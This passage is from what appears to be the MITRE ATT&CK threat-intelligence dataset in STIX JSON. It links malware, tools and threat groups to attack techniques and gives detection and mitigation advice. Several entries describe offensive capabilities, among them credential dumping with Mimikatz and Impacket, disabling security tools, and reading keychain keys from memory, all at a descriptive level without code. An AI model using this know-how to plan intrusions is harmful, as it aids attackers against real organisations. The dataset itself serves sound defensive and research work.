Appendix)","relationship_type":"uses","source_ref":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d1f0b6ab-f347-4741-bede-b7bfaf975403","created":"2022-03-30T14:26:51.870Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","modified":"2022-04-20T03:18:04.485Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985","target_ref":"attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--b39c536a-55f1-485a-8235-24acb39d0be6","created":"2019-01-31T01:39:56.558Z","x_mitre_version":"1.0","external_references":[{"source_name":"Impacket Tools","url":"https://www.secureauth.com/labs/open-source-tools/impacket","description":"SecureAuth. (n.d.).  Retrieved January 15, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"SecretsDump and [Mimikatz](https://attack.mitre.org/software/S0002) modules within [Impacket](https://attack.mitre.org/software/S0357) can perform credential dumping to obtain account and password information.(Citation: Impacket Tools)","modified":"2022-04-19T21:07:44.426Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--41d59812-ad44-46f4-89d9-51a9b080a772","type":"relationship","created":"2019-12-20T14:23:29.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.","source_name":"Kaspersky Equation QA"}],"modified":"2019-12-20T14:23:29.279Z","description":"[Equation](https://attack.mitre.org/groups/G0020) is known to have the capability to overwrite the firmware on hard drives from some manufacturers.(Citation: Kaspersky Equation QA) ","relationship_type":"uses","source_ref":"intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9","target_ref":"attack-pattern--791481f8-e96a-41be-b089-a088763083d4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7c1e2638-ca07-4825-b7e8-43690912ce74","type":"relationship","created":"2019-04-24T20:48:39.691Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.","url":"https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door","source_name":"Symantec Frutas Feb 2013"}],"modified":"2019-06-24T17:20:24.384Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can query and kill system processes.(Citation: Symantec Frutas Feb 2013)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e75cec16-55e4-471d-ab89-52edf5a7799e","type":"relationship","created":"2020-11-08T23:29:51.077Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2020-11-08T23:29:51.078Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can send a file containing victim system information to C2.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1035fe41-56b9-4966-bf3b-109ae950c908","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto MoonWind March 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"}],"modified":"2020-03-16T17:16:53.513Z","description":"[MoonWind](https://attack.mitre.org/software/S0149) has a command to return a list of running processes.(Citation: Palo Alto MoonWind March 2017)","relationship_type":"uses","source_ref":"malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c82bdafd-6f44-492a-be61-00b5bac4af94","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fb5fc8e3-2dd8-49de-bd9a-ee19c2f7ef7f","type":"relationship","created":"2020-06-19T21:25:43.661Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-29T21:37:55.942Z","description":"[Goopy](https://attack.mitre.org/software/S0477) has had null characters padded in its malicious DLL payload.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--eac3d77f-2b7b-4599-ba74-948dc16633ad","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8d512a95-702d-4670-ab33-069552494102","type":"relationship","created":"2020-11-20T13:41:44.619Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Robbins, A., Vazarkar, R., and Schroeder, W. (2016, April 17). Bloodhound: Six Degrees of Domain Admin. Retrieved March 5, 2019.","url":"https://github.com/BloodHoundAD/BloodHound","source_name":"GitHub Bloodhound"}],"modified":"2020-11-24T20:07:19.348Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can use .NET API calls in the SharpHound ingestor component to pull Active Directory data.(Citation: GitHub Bloodhound)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--673afcb8-2fb0-4c17-9f91-8fb409943531","type":"relationship","created":"2020-12-17T15:41:29.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye ADFS","url":"https://www.troopers.de/troopers19/agenda/fpxwmn/","description":"Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020."}],"modified":"2021-10-12T14:26:52.571Z","description":"Restrict permissions and access to the AD FS server to only originate from privileged access workstations.(Citation: FireEye ADFS)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--527b9fde-f641-46ae-8e10-1e23e3ec632d","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor executed commands and arguments that may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0872f093-cfab-4e63-bfde-b7748808c96f","created":"2022-04-13T21:14:56.407Z","x_mitre_version":"0.1","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) has used various Windows API calls.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-13T21:14:56.407Z","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76eae7b3-2e02-41c6-8b31-b81c8d124006","type":"relationship","created":"2019-03-26T16:19:52.456Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Nyetya June 2017","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019."},{"description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. 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Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:38.176Z","description":"[Doki](https://attack.mitre.org/software/S0600) was executed through an open Docker daemon API port.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--123c8150-c814-4bf2-b06f-e005cb257e17","type":"relationship","created":"2020-10-20T17:59:20.709Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-10-22T16:35:54.003Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific protocols, such as TFTP, can be used to mitigate activity at the network level. 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Retrieved July 16, 2020."}],"modified":"2020-07-16T15:07:27.171Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can remotely activate the victim’s webcam to capture content.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5978c8e0-8b60-4ad5-8fc9-9fa1ee4d7387","type":"relationship","created":"2017-05-31T21:33:27.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-20T15:22:53.960Z","relationship_type":"mitigates","source_ref":"course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271","target_ref":"attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2816f512-1a04-4cf8-94e9-36720b949c76","type":"relationship","created":"2017-05-31T21:33:27.076Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. 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Retrieved April 15, 2019.","url":"https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf","source_name":"Sophos SamSam Apr 2018"}],"modified":"2019-04-18T20:59:57.031Z","description":"[SamSam](https://attack.mitre.org/software/S0370) has been seen deleting its own files and payloads to make analysis of the attack more difficult.(Citation: Sophos SamSam Apr 2018)","relationship_type":"uses","source_ref":"malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--130275cb-368e-4168-a4bf-60b39566bc50","type":"relationship","created":"2017-05-31T21:33:27.020Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-28T00:26:48.868Z","relationship_type":"mitigates","source_ref":"course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--dae7228a-89f0-4e1c-b306-b9f6d08b902d","type":"relationship","created":"2020-11-10T16:04:00.973Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."},{"source_name":"DFIR Ryuk's Return October 2020","url":"https://thedfirreport.com/2020/10/08/ryuks-return/","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020."}],"modified":"2020-11-10T16:04:00.973Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has shut down or uninstalled security applications on victim systems that might prevent ransomware from executing.(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--32035519-2c91-4fc2-a9c4-64c766510374","type":"relationship","created":"2021-06-22T13:54:15.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-22T13:54:15.685Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) can use \"stackstrings\" for obfuscation.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--be301c77-e0ae-4207-9808-e4037be573f5","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). 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Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-19T19:38:55.099Z","description":"[Rancor](https://attack.mitre.org/groups/G0075) has used cmd.exe to execute commmands.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ff5d1433-de7a-4aba-95c4-5d92782589f9","type":"relationship","created":"2020-06-11T16:19:17.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:32.664Z","description":"(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9569bfcd-38f8-4cb7-8470-a473ea9e4328","type":"relationship","created":"2020-05-08T17:01:36.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Group IB Silence Sept 2018","url":"https://www.group-ib.com/resources/threat-research/silence_moving-into-the-darkside.pdf","description":"Group-IB. (2018, September). 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Retrieved July 16, 2020."}],"modified":"2020-07-16T15:23:48.585Z","description":"[Kessel](https://attack.mitre.org/software/S0487) has collected the system architecture, OS version, and MAC address information.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cc5a6d27-5c74-4f53-afc1-390c71bfae7c","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-05T19:35:59.182Z","relationship_type":"mitigates","source_ref":"course-of-action--ef273807-c465-4728-9cee-5823422f42ee","target_ref":"attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fcba82f3-45f5-411f-8427-7d07827a8cc9","type":"relationship","created":"2021-04-16T21:33:50.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. 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Retrieved January 22, 2021."}],"modified":"2021-04-16T21:33:50.645Z","description":"[APT29](https://attack.mitre.org/groups/G0016) has used [AdFind](https://attack.mitre.org/software/S0552) to enumerate remote systems.(Citation: Microsoft Deep Dive Solorigate January 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4eec017c-8bf2-4eda-8c92-15926fc7e5aa","type":"relationship","created":"2017-05-31T21:33:27.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). 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Retrieved January 27, 2022."}],"modified":"2022-03-23T16:57:15.010Z","description":"Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information. A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) also collects disk space information and sends it to its C2 server.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret)(Citation: Lazarus APT January 2022)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed40dd97-0ad0-4501-8f1e-a4bd4625432d","type":"relationship","created":"2022-01-05T16:57:22.723Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. 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Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:13.951Z","description":"[RTM](https://attack.mitre.org/software/S0148) can delete all files created during its execution.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7d4149dc-1387-40cc-8f84-2f111e01ceb4","created":"2022-03-30T14:26:51.855Z","x_mitre_version":"0.1","external_references":[{"source_name":"Open Login Items Apple","url":"https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac","description":"Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021."},{"source_name":"Startup Items Eclectic","url":"https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/","description":"hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021."},{"source_name":"objsee block blocking login items","url":"https://objective-see.com/blog/blog_0x31.html","description":"Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021."},{"source_name":"sentinelone macos persist Jun 2019","url":"https://www.sentinelone.com/blog/how-malware-persists-on-macos/","description":"Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"All login items created via shared file lists are viewable by using the System Preferences GUI or in the <code>~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm</code> file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited.","modified":"2022-04-20T18:38:50.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a433216f-bd03-4791-98ce-abd4b23c21a5","type":"relationship","created":"2021-09-21T15:45:09.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T18:46:08.856Z","description":"[Turian](https://attack.mitre.org/software/S0647) can retrieve the internal IP address of a compromised host.(Citation: ESET BackdoorDiplomacy Jun 